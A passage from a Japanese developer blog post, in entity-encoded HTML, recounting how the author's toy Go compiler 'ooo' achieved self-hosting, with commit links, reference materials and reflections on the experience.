&#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092;&#x4F5C;&#x3063;&#x305F;&#x300D;&#x307F;&#x305F;&#x3044;&#x306A;&#x8A18;&#x4E8B;&#x30BF;&#x30A4;&#x30C8;&#x30EB;&#x306B;&#x3057;&#x305F;&#x3089;&#x30A6;&#x30B1;&#x308B;&#x304B;&#x306A;&#x3068;&#x601D;&#x3063;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x304C;&#x3001;2 &#x6708;&#x4E2D;&#x306B;&#x5B8C;&#x6210;&#x3055;&#x305B;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x306A;&#x304B;&#x3063;&#x305F;&#x306E;&#x3067;&#x6CA1;&#x306B;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<p>&#x50D5;&#x304C;&#x5B9F;&#x88C5;&#x3092;&#x59CB;&#x3081;&#x305F;&#x3068;&#x304D;&#x306F;&#x3001;&#x3053;&#x308C;&#x5B8C;&#x6210;&#x3055;&#x305B;&#x305F;&#x3089;&#x3081;&#x3063;&#x3061;&#x3083;&#x3061;&#x3084;&#x307B;&#x3084;&#x3055;&#x308C;&#x308B;&#x3068;&#x601D;&#x3063;&#x3066;&#x305F;&#x3093;&#x3067;&#x3059;&#x304C;&#x3001;LLM &#x306E;&#x305B;&#x3044;&#x3067;&#x305D;&#x3046;&#x3067;&#x306F;&#x306A;&#x304F;&#x306A;&#x308B;&#x6C17;&#x304C;&#x3057;&#x3066;&#x6B8B;&#x5FF5;&#x3067;&#x3059;&#x3002;</p>
<h3 id="%E7%B5%82%E3%82%8F%E3%82%8A%E6%96%B9">&#x7D42;&#x308F;&#x308A;&#x65B9;</h3>
<p>&#x7B2C; 1 &#x4E16;&#x4EE3;&#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x304C;&#x521D;&#x3081;&#x3066;&#x7B2C; 2 &#x4E16;&#x4EE3;&#x306E; ooo &#x306E;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092;&#x51FA;&#x529B;&#x3057;&#x305F;&#x306E;&#x306F;&#x3001;2026 &#x5E74;&#x306E; 3 &#x6708; 30 &#x65E5;&#x3067;&#x3057;&#x305F;&#x3002;</p>
<p><a href="https://github.com/ikura-hamu/ooo/commit/4b45ca75fd2027b972a5fb5f2c06cab6013ea9b8?ref=trap.jp">https://github.com/ikura-hamu/ooo/commit/4b45ca75fd2027b972a5fb5f2c06cab6013ea9b8</a></p>
<!--kg-card-end: markdown--><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/ikura-hamu/ooo/commit/4b45ca75fd2027b972a5fb5f2c06cab6013ea9b8?ref=trap.jp"><div class="kg-bookmark-content"><div class="kg-bookmark-title">:sparkles: &#x7B2C;1&#x4E16;&#x4EE3;&#x306E;codegen&#x307E;&#x3067;&#x901A;&#x3063;&#x305F; &#xB7; ikura-hamu/ooo@4b45ca7</div><div class="kg-bookmark-description">Toy Go Compiler. Contribute to ikura-hamu/ooo development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="&#x81EA;&#x4F5C; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">ikura-hamu</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/ba594445e43526238cdf3d9dafebe0458889aa0ace33c68116f9af414033c6c9/ikura-hamu/ooo/commit/4b45ca75fd2027b972a5fb5f2c06cab6013ea9b8" alt="&#x81EA;&#x4F5C; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;"></div></a></figure><!--kg-card-begin: markdown--><p>&#x3053;&#x3053;&#x304B;&#x3089;&#x306F;&#x3053;&#x306E;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092;&#x5B9F;&#x884C;&#x3057;&#x3066;&#x7B2C; 3 &#x4E16;&#x4EE3;&#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092;&#x51FA;&#x529B;&#x3067;&#x304D;&#x308B;&#x3088;&#x3046;&#x306B;&#x306A;&#x3089;&#x306A;&#x304F;&#x3066;&#x306F;&#x3044;&#x3051;&#x307E;&#x305B;&#x3093;&#x3002;&#x305D;&#x306E;&#x305F;&#x3081;&#x306B;&#x306F;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3067;&#x66F8;&#x304B;&#x308C;&#x305F;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x306E;&#x30C7;&#x30D0;&#x30C3;&#x30B0;&#x304C;&#x5FC5;&#x8981;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;Go &#x3067;&#x66F8;&#x304B;&#x308C;&#x305F;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x306E;&#x30C7;&#x30D0;&#x30C3;&#x30B0;&#x306B;&#x6BD4;&#x3079;&#x3066;&#x9065;&#x304B;&#x306B;&#x96E3;&#x6613;&#x5EA6;&#x304C;&#x9AD8;&#x3044;&#x305F;&#x3081;&#x3001;&#x3053;&#x3053;&#x304B;&#x3089;&#x3055;&#x3089;&#x306B; 1 &#x5E74;&#x304F;&#x3089;&#x3044;&#x304B;&#x304B;&#x308B;&#x306E;&#x3092;&#x899A;&#x609F;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x3057;&#x304B;&#x3057;&#x3001;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x306E;&#x9054;&#x6210;&#x306E;&#x77AC;&#x9593;&#x306F;&#x3042;&#x3063;&#x3051;&#x306A;&#x304F;&#x6765;&#x307E;&#x3057;&#x305F;&#x3002;&#x6570;&#x500B;&#x30D0;&#x30B0;&#x3092;&#x3064;&#x3076;&#x3059;&#x3068;&#x3061;&#x3087;&#x3063;&#x3068;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x3092;&#x51FA;&#x529B;&#x3059;&#x308B;&#x3088;&#x3046;&#x306B;&#x306A;&#x308A;&#x3001;1 &#x500B;&#x306E;&#x5C0F;&#x3055;&#x3044;&#x30D0;&#x30B0;&#x3092;&#x76F4;&#x3059;&#x3068;&#x3044;&#x304D;&#x306A;&#x308A;&#x6700;&#x5F8C;&#x307E;&#x3067;&#x5B8C;&#x8D70;&#x3057;&#x3066;&#x7B2C; 3 &#x4E16;&#x4EE3;&#x306E;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092;&#x51FA;&#x529B;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;&#x307E;&#x3055;&#x304B;&#x3068;&#x601D;&#x3063;&#x3066;&#x7B2C; 2 &#x4E16;&#x4EE3;&#x3068;&#x7B2C; 3 &#x4E16;&#x4EE3;&#x306E;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092;&#x6BD4;&#x8F03;&#x3059;&#x308B;&#x3068;&#x3001;&#x5B8C;&#x5168;&#x306B;&#x4E00;&#x81F4;&#x3057;&#x3066;&#x9A5A;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<p><a href="https://github.com/ikura-hamu/ooo/commit/dd798a6a5e604022258afb93752301a63e1fd4a5?ref=trap.jp">https://github.com/ikura-hamu/ooo/commit/dd798a6a5e604022258afb93752301a63e1fd4a5</a></p>
<!--kg-card-end: markdown--><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/ikura-hamu/ooo/commit/dd798a6a5e604022258afb93752301a63e1fd4a5?ref=trap.jp"><div class="kg-bookmark-content"><div class="kg-bookmark-title">:tada: &#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8; &#xB7; ikura-hamu/ooo@dd798a6</div><div class="kg-bookmark-description">Toy Go Compiler. Contribute to ikura-hamu/ooo development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="&#x81EA;&#x4F5C; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">ikura-hamu</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/bc36f4788aa7baff3dc9bf6e50e238a03259ee0c3224f1a26e4298ace0d3308a/ikura-hamu/ooo/commit/dd798a6a5e604022258afb93752301a63e1fd4a5" alt="&#x81EA;&#x4F5C; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;"></div></a></figure><!--kg-card-begin: markdown--><h3 id="%E5%8F%82%E8%80%83%E3%81%AB%E3%81%97%E3%81%9F%E8%B3%87%E6%96%99">&#x53C2;&#x8003;&#x306B;&#x3057;&#x305F;&#x8CC7;&#x6599;</h3>
<p>&#x591A;&#x304F;&#x306E;&#x8CC7;&#x6599;&#x306E;&#x304A;&#x304B;&#x3052;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x3092;&#x9054;&#x6210;&#x3067;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<h4 id="%E4%BD%8E%E3%83%AC%E3%82%A4%E3%83%A4%E3%82%92%E7%9F%A5%E3%82%8A%E3%81%9F%E3%81%84%E4%BA%BA%E3%81%AE%E3%81%9F%E3%82%81%E3%81%AEc%E3%82%B3%E3%83%B3%E3%83%91%E3%82%A4%E3%83%A9%E4%BD%9C%E6%88%90%E5%85%A5%E9%96%80"><a href="https://www.sigbus.info/compilerbook?ref=trap.jp">&#x4F4E;&#x30EC;&#x30A4;&#x30E4;&#x3092;&#x77E5;&#x308A;&#x305F;&#x3044;&#x4EBA;&#x306E;&#x305F;&#x3081;&#x306E;C&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x4F5C;&#x6210;&#x5165;&#x9580;</a></h4>
<p>Rui Ueyama &#x3055;&#x3093;&#x304C;&#x66F8;&#x304B;&#x308C;&#x3066;&#x3044;&#x308B;&#x3001;C &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092;&#x4F5C;&#x308B;&#x305F;&#x3081;&#x306E;&#x8CC7;&#x6599;&#x3067;&#x3059;&#x3002;&#x57F7;&#x7B46;&#x4E2D;&#x3089;&#x3057;&#x3044;&#x3067;&#x3059;&#x304C;&#x3001;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3065;&#x304F;&#x308A;&#x3092;&#x59CB;&#x3081;&#x308B;&#x305F;&#x3081;&#x306E;&#x60C5;&#x5831;&#x304C;&#x96C6;&#x307E;&#x3063;&#x3066;&#x304A;&#x308A;&#x3001;&#x3068;&#x3066;&#x3082;&#x52A9;&#x3051;&#x3089;&#x308C;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<h4 id="linux%E3%81%A7%E5%AD%A6%E3%81%B6x86-64%E3%82%A2%E3%82%BB%E3%83%B3%E3%83%96%E3%83%AA%E8%A8%80%E8%AA%9E"><a href="https://gondow.github.io/linux-x86-64-programming/?ref=trap.jp">Linux&#x3067;&#x5B66;&#x3076;x86-64&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x8A00;&#x8A9E;</a></h4>
<p>&#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x5B66; &#x60C5;&#x5831;&#x5DE5;&#x5B66;&#x7CFB;&#x306E;&#x6A29;&#x85E4;&#x514B;&#x5F66;&#x5148;&#x751F;&#x304C;&#x66F8;&#x304B;&#x308C;&#x305F;&#x3001;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x8A00;&#x8A9E;&#x306B;&#x95A2;&#x3059;&#x308B;&#x8CC7;&#x6599;&#x3067;&#x3059;&#x3002;&#x5148;&#x8FF0;&#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x69CB;&#x6210;&#x306E;&#x6388;&#x696D;&#x3082;&#x62C5;&#x5F53;&#x3055;&#x308C;&#x3066;&#x3044;&#x308B;&#x5148;&#x751F;&#x3067;&#x3001;&#x6388;&#x696D;&#x5185;&#x3067;&#x3082;&#x8CC7;&#x6599;&#x3068;&#x3057;&#x3066;&#x4F7F;&#x308F;&#x308C;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x8A00;&#x8A9E;&#x306E;&#x547D;&#x4EE4;&#x3084; gdb&#xFF08;&#x30C7;&#x30D0;&#x30C3;&#x30AC;&#xFF09;&#x306E;&#x4F7F;&#x3044;&#x65B9;&#x306A;&#x3069;&#x3092;&#x8ABF;&#x3079;&#x308B;&#x969B;&#x306B;&#x3068;&#x3066;&#x3082;&#x983C;&#x308A;&#x306B;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<h4 id="go%E3%82%B3%E3%83%B3%E3%83%91%E3%82%A4%E3%83%A9%E3%82%92%E3%82%BC%E3%83%AD%E3%81%8B%E3%82%89%E4%BD%9C%E3%81%A3%E3%81%A6147%E6%97%A5%E3%81%A7%E3%82%BB%E3%83%AB%E3%83%95%E3%83%9B%E3%82%B9%E3%83%88%E3%82%92%E9%81%94%E6%88%90%E3%81%97%E3%81%9F-%E3%81%A8-go%E3%82%B3%E3%83%B3%E3%83%91%E3%82%A4%E3%83%A9%E3%82%92%E8%87%AA%E4%BD%9C%E3%81%97%E3%81%A693%E6%97%A5%E3%81%A7%E3%82%BB%E3%83%AB%E3%83%95%E3%83%9B%E3%82%B9%E3%83%88%E3%82%92%E9%81%94%E6%88%90%E3%81%97%E3%81%9F2%E5%9B%9E%E7%9B%AE"><a href="https://qiita.com/DQNEO/items/2efaec18772a1ae3c198?ref=trap.jp">Go&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092;&#x30BC;&#x30ED;&#x304B;&#x3089;&#x4F5C;&#x3063;&#x3066;147&#x65E5;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x3092;&#x9054;&#x6210;&#x3057;&#x305F;</a> &#x3068; <a href="https://dqn.sakusakutto.jp/2020/07/go-comiler-2nd.html?ref=trap.jp">Go&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092;&#x81EA;&#x4F5C;&#x3057;&#x3066;93&#x65E5;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x3092;&#x9054;&#x6210;&#x3057;&#x305F;(2&#x56DE;&#x76EE;)</a></h4>
<p>DQNEO &#x3055;&#x3093;&#x304C;&#x66F8;&#x304B;&#x308C;&#x305F;&#x3001;Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x5B9F;&#x88C5;&#x306E;&#x8A18;&#x9332;&#x3067;&#x3059;&#x3002;Go &#x3067;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092;&#x4F5C;&#x308B;&#x304B;&#x8FF7;&#x3063;&#x3066;&#x3044;&#x308B;&#x3068;&#x304D;&#x306B;&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x3092;&#x898B;&#x3064;&#x3051;&#x3066;&#x3001;&#x4F5C;&#x308B;&#x3053;&#x3068;&#x3092;&#x6C7A;&#x3081;&#x307E;&#x3057;&#x305F;&#x3002;&#x8A2D;&#x8A08;&#x306E;&#x65B9;&#x91DD;&#x306A;&#x3069;&#x3092;&#x53C2;&#x8003;&#x306B;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="%E6%84%9F%E6%83%B3">&#x611F;&#x60F3;</h2>
<h3 id="go-%E3%81%AE%E4%BB%95%E6%A7%98%E3%82%92%E7%9F%A5%E3%82%8C%E3%81%A6%E3%82%88%E3%81%8B%E3%81%A3%E3%81%9F">Go &#x306E;&#x4ED5;&#x69D8;&#x3092;&#x77E5;&#x308C;&#x3066;&#x3088;&#x304B;&#x3063;&#x305F;</h3>
<p>&#x5B9F;&#x88C5;&#x306B;&#x3042;&#x305F;&#x3063;&#x3066;&#x3001;<a href="https://go.dev/ref/spec?ref=trap.jp">Go &#x306E;&#x4ED5;&#x69D8;&#x66F8;</a>&#x3092;&#x5FC5;&#x8981;&#x306B;&#x5FDC;&#x3058;&#x3066;&#x8AAD;&#x307F;&#x307E;&#x3057;&#x305F;&#x3002;&#x4ECA;&#x307E;&#x3067;&#x3082;Go Spec&#x8AAD;&#x307F;&#x305F;&#x3044;&#x306A;&#x3068;&#x601D;&#x3063;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;&#x6642;&#x9593;&#x3084;&#x30E2;&#x30C1;&#x30D9;&#x304C;&#x7121;&#x304F;&#x3066;&#x8AAD;&#x3081;&#x3066;&#x3044;&#x307E;&#x305B;&#x3093;&#x3067;&#x3057;&#x305F;&#x3002;&#x4ECA;&#x56DE;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092;&#x5B9F;&#x88C5;&#x3059;&#x308B;&#x306E;&#x306B;&#x5FC5;&#x8981;&#x306A;&#x30BF;&#x30B9;&#x30AF;&#x3068;&#x3057;&#x3066;&#x4ED5;&#x69D8;&#x66F8;&#x3092;&#x8AAD;&#x3080;&#x3068;&#x3044;&#x3046;&#x3082;&#x306E;&#x304C;&#x51FA;&#x3066;&#x304D;&#x305F;&#x306E;&#x3067;&#x8AAD;&#x3080;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<p>&#x4ED5;&#x69D8;&#x3092;&#x8AAD;&#x3080;&#x3068;&#x4ECA;&#x307E;&#x3067;&#x77E5;&#x3089;&#x306A;&#x304B;&#x3063;&#x305F;&#x3053;&#x3068;&#x3082;&#x77E5;&#x308C;&#x3066;&#x9762;&#x767D;&#x304B;&#x3063;&#x305F;&#x3067;&#x3059;&#x3002;&#x305F;&#x3068;&#x3048;&#x3070;&#x7D44;&#x307F;&#x8FBC;&#x307F;&#x306E;<code>print</code>&#x3084;<code>println</code>&#x95A2;&#x6570;&#x306F;&#x3001;Go &#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x306F;&#x6A19;&#x6E96;&#x30A8;&#x30E9;&#x30FC;&#x51FA;&#x529B;&#x306B;&#x6587;&#x5B57;&#x5217;&#x3092;&#x51FA;&#x529B;&#x3059;&#x308B;&#x3088;&#x3046;&#x30D3;&#x30EB;&#x30C9;&#x3057;&#x307E;&#x3059;&#x304C;&#x3001;&#x4ED5;&#x69D8;&#x3067;&#x306F;&#x3069;&#x3053;&#x306B;&#x51FA;&#x529B;&#x3059;&#x3079;&#x304D;&#x304B;&#x66F8;&#x304B;&#x308C;&#x3066;&#x3044;&#x307E;&#x305B;&#x3093;&#x3002;&#x305D;&#x306E;&#x305F;&#x3081;&#x3001;ooo &#x3067;&#x306F;&#x6A19;&#x6E96;&#x51FA;&#x529B;&#x3092;&#x4F7F;&#x3046;&#x3088;&#x3046;&#x306B;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<h3 id="%E3%82%A2%E3%82%BB%E3%83%B3%E3%83%96%E3%83%AA%E3%81%AF%E3%81%A4%E3%82%89%E3%81%8B%E3%81%A3%E3%81%9F">&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x306F;&#x3064;&#x3089;&#x304B;&#x3063;&#x305F;</h3>
<p>&#x305D;&#x308C;&#x306F;&#x305D;&#x3046;&#x306A;&#x3093;&#x3067;&#x3059;&#x304C;&#x3001;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092;&#x8AAD;&#x3093;&#x3067;&#x66F8;&#x3044;&#x3066;&#x30C7;&#x30D0;&#x30C3;&#x30B0;&#x3059;&#x308B;&#x306E;&#x306F;&#x5927;&#x5909;&#x3067;&#x3057;&#x305F;&#x3002;&#x305F;&#x3060;&#x3001;&#x81EA;&#x5206;&#x3067;&#x66F8;&#x3044;&#x305F;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092;&#x8AAD;&#x3080;&#x306E;&#x306F;&#x5225;&#x306B;&#x305D;&#x308C;&#x307B;&#x3069;&#x82E6;&#x3067;&#x3082;&#x306A;&#x304F;&#x3066;&#x3001;&#x3069;&#x3061;&#x3089;&#x304B;&#x3068;&#x3044;&#x3046;&#x3068;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x304C;&#x5410;&#x304D;&#x51FA;&#x3057;&#x305F;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092;&#x7406;&#x89E3;&#x3059;&#x308B;&#x306E;&#x304C;&#x5927;&#x5909;&#x3067;&#x3057;&#x305F;&#x3002;<br>
&#x305D;&#x308C;&#x3067;&#x3082;&#x3001;&#x7D42;&#x76E4;&#x306B;&#x306A;&#x308B;&#x3068;&#x8907;&#x6570;&#x884C;&#x306E;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092; 1 &#x3064;&#x306E;&#x610F;&#x5473;&#x306E;&#x307E;&#x3068;&#x307E;&#x308A;&#x3068;&#x3057;&#x3066;&#x6349;&#x3048;&#x308B;&#x306A;&#x3069;&#x3057;&#x3066;&#x3060;&#x3044;&#x3076;&#x8AAD;&#x3081;&#x308B;&#x3088;&#x3046;&#x306B;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<h3 id="%E3%82%B3%E3%83%B3%E3%83%91%E3%82%A4%E3%83%A9%E6%9B%B8%E3%81%8F%E3%81%AE%E3%81%8A%E3%82%82%E3%81%97%E3%82%8D%E3%81%8B%E3%81%A3%E3%81%9F">&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x66F8;&#x304F;&#x306E;&#x304A;&#x3082;&#x3057;&#x308D;&#x304B;&#x3063;&#x305F;</h3>
<p>&#x81EA;&#x5206;&#x3067;&#x66F8;&#x3044;&#x305F;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x304C;&#x52D5;&#x3044;&#x3066;&#x5B9F;&#x884C;&#x3067;&#x304D;&#x308B;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092;&#x5410;&#x304D;&#x51FA;&#x3059;&#x3068;&#x3044;&#x3046;&#x73FE;&#x8C61;&#x305D;&#x306E;&#x3082;&#x306E;&#x3082;&#x9762;&#x767D;&#x304B;&#x3063;&#x305F;&#x3057;&#x3001;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x3092;&#x89E3;&#x91C8;&#x3057;&#x3066;&#x62BD;&#x8C61;&#x5316;&#x3057;&#x3001;&#x3069;&#x3046;&#x3057;&#x305F;&#x3089;&#x3084;&#x308A;&#x305F;&#x3044;&#x52D5;&#x4F5C;&#x3092;&#x8868;&#x73FE;&#x3067;&#x304D;&#x308B;&#x304B;&#x8003;&#x3048;&#x308B;&#x306E;&#x3082;&#x9762;&#x767D;&#x304B;&#x3063;&#x305F;&#x3067;&#x3059;&#x3002;</p>
<h3 id="%E3%82%82%E3%81%86%E3%81%97%E3%81%B0%E3%82%89%E3%81%8F%E3%82%84%E3%82%8A%E3%81%9F%E3%81%8F%E3%81%AA%E3%81%84">&#x3082;&#x3046;&#x3057;&#x3070;&#x3089;&#x304F;&#x3084;&#x308A;&#x305F;&#x304F;&#x306A;&#x3044;</h3>
<p>&#x304D;&#x3064;&#x304B;&#x3063;&#x305F;&#x3068;&#x3044;&#x3046;&#x3088;&#x308A;&#x9577;&#x304B;&#x3063;&#x305F;&#x306E;&#x304C;&#x5927;&#x5909;&#x3067;&#x3057;&#x305F;&#x3002;&#x306A;&#x306B;&#x304B;&#x3084;&#x308A;&#x305F;&#x3044;&#x3053;&#x3068;&#x3092;&#x898B;&#x3064;&#x3051;&#x3066;&#x3082;&#x3001;&#x300C;ooo &#x304C;&#x7D42;&#x308F;&#x3063;&#x3066;&#x304B;&#x3089;&#x304B;&#x306A;&#x300D;&#x3068;&#x601D;&#x3063;&#x3066;&#x3057;&#x307E;&#x3063;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x3001;&#x7D42;&#x308F;&#x3063;&#x3066;&#x307B;&#x3063;&#x3068;&#x3057;&#x3066;&#x307E;&#x3059;&#x3002;&#x4ECA;&#x306F; Rust &#x3068;&#x304B; Zig &#x3068;&#x304B;&#x95A2;&#x6570;&#x578B;&#x8A00;&#x8A9E;&#x3068;&#x304B;&#x3001;&#x307E;&#x305F;&#x306F; OS &#x3068;&#x304B;&#x306E;&#x52C9;&#x5F37;&#x3092;&#x3057;&#x305F;&#x3044;&#x3067;&#x3059;&#x3002;</p>
<h3 id="%E3%81%BF%E3%82%93%E3%81%AA%E3%82%84%E3%81%A3%E3%81%9F%E6%96%B9%E3%81%8C%E3%81%84%E3%81%84%E3%81%A7%E3%81%99%E3%82%88">&#x307F;&#x3093;&#x306A;&#x3084;&#x3063;&#x305F;&#x65B9;&#x304C;&#x3044;&#x3044;&#x3067;&#x3059;&#x3088;</h3>
<p>&#x9762;&#x767D;&#x304B;&#x3063;&#x305F;&#x306E;&#x3067;&#x3001;&#x307F;&#x3093;&#x306A;&#x3084;&#x3063;&#x305F;&#x65B9;&#x304C;&#x3044;&#x3044;&#x3067;&#x3059;&#x3088;&#x3002;Go &#x306E;&#x4ED5;&#x69D8;&#x306B;&#x8A73;&#x3057;&#x304F;&#x306A;&#x308A;&#x305F;&#x3044;&#x4EBA;&#x3068;&#x304B;&#x3001;&#x4F4E;&#x30EC;&#x30A4;&#x30E4;&#x30FC;&#x3092;&#x52C9;&#x5F37;&#x3057;&#x305F;&#x3044;&#x4EBA;&#x306F;&#x304A;&#x3059;&#x3059;&#x3081;&#x3067;&#x3059;&#x3002;<br>
&#x307E;&#x305F;&#x3001;&#x81EA;&#x4F5C;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3068;&#x3044;&#x3048;&#x3070; C &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3068;&#x3044;&#x3046;&#x96F0;&#x56F2;&#x6C17;&#x304C;&#x5F37;&#x3044;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x304C;&#x3001;Go &#x306B;&#x9650;&#x3089;&#x305A; C &#x4EE5;&#x5916;&#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092;&#x66F8;&#x304F;&#x4EBA;&#x304C;&#x3082;&#x3063;&#x3068;&#x3044;&#x3066;&#x3082;&#x3044;&#x3044;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x306B;&#x306F;&#x305D;&#x308C;&#x307B;&#x3069;&#x9AD8;&#x5EA6;&#x306A;&#x6A5F;&#x80FD;&#x3092;&#x5B9F;&#x88C5;&#x3059;&#x308B;&#x5FC5;&#x8981;&#x306F;&#x3042;&#x308A;&#x307E;&#x305B;&#x3093;&#x3057;&#x3001;&#x4F55;&#x3088;&#x308A;&#x81EA;&#x5206;&#x304C;&#x597D;&#x304D;&#x306A;&#x8A00;&#x8A9E;&#x3067;&#x3084;&#x3063;&#x305F;&#x65B9;&#x304C;&#x30E2;&#x30C1;&#x30D9;&#x30FC;&#x30B7;&#x30E7;&#x30F3;&#x304C;&#x4E0A;&#x304C;&#x308B;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<h2 id="%E3%81%8A%E3%82%8F%E3%82%8A">&#x304A;&#x308F;&#x308A;</h2>
<p>&#x3068;&#x308A;&#x3042;&#x3048;&#x305A;&#x7D42;&#x308F;&#x3063;&#x3066;&#x307B;&#x3063;&#x3068;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x6B21;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092;&#x4F5C;&#x308B;&#x3068;&#x304D;&#x306F;&#x3001;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x4EE5;&#x5916;&#x3092;&#x51FA;&#x529B;&#x3059;&#x308B;&#x3082;&#x306E;&#x306B;&#x3057;&#x305F;&#x3044;&#x3067;&#x3059;&#x3002;</p>
<hr>
<p>&#x30D8;&#x30C3;&#x30C0;&#x30FC;&#x753B;&#x50CF;&#x7528;&#x30E9;&#x30A4;&#x30BB;&#x30F3;&#x30B9;&#x8868;&#x793A;<br>
The Go gopher was designed by Ren&#xE9;e French.</p>
